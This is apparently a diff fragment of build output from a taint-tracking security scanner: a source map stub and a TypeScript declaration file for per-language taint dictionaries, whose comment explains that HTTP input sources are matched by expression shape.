+ {"version":3,"file":"content-type.js","sourceRoot":"","sources":["../../../src/taint/content-type.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,CAAC,MAAM,iBAAiB,GAC5B,4FAA4F,CAAC"}
@@ -0,0 +1,23 @@
1
+ /**
2
+ * THE TAINT DICTIONARIES
3
+ *
4
+ * Pure data. The tracer in tracer.ts contains no knowledge of Express, Flask,
5
+ * psycopg2 or DOMPurify - it only knows how to follow a value. Everything
6
+ * language- and framework-specific lives here.
7
+ *
8
+ * That split is the reason Phase 3b (Java and Go) is a data task rather than an
9
+ * engine task: write two more entries in this file and the same tracer works.
10
+ *
11
+ * HONESTY NOTE ON SOURCES. We recognise a source by the SHAPE of the
12
+ * expression - `req.query.id` looks like an HTTP query parameter. We do not
13
+ * prove that `req` is really an Express request object; proving that needs
14
+ * type inference we do not have. In practice the convention is near-universal,
15
+ * but it means a variable someone happened to name `req` with a `.body`
16
+ * property would be treated as attacker-controlled. That approximation is
17
+ * listed in ENGINE_CAPABILITIES.notImplemented and printed in every report.
18
+ */
19
+ import type { LanguageId } from '../parse/languages.js';
20
+ import type { TaintDictionary } from './types.js';
21
+ export declare const TAINT_DICTIONARIES: Partial<Record<LanguageId, TaintDictionary>>;
22
+ /** Per-language honesty notes, printed in the coverage section of every scan. */
23
+ export declare const TAINT_COVERAGE_NOTES: Record<LanguageId, string>;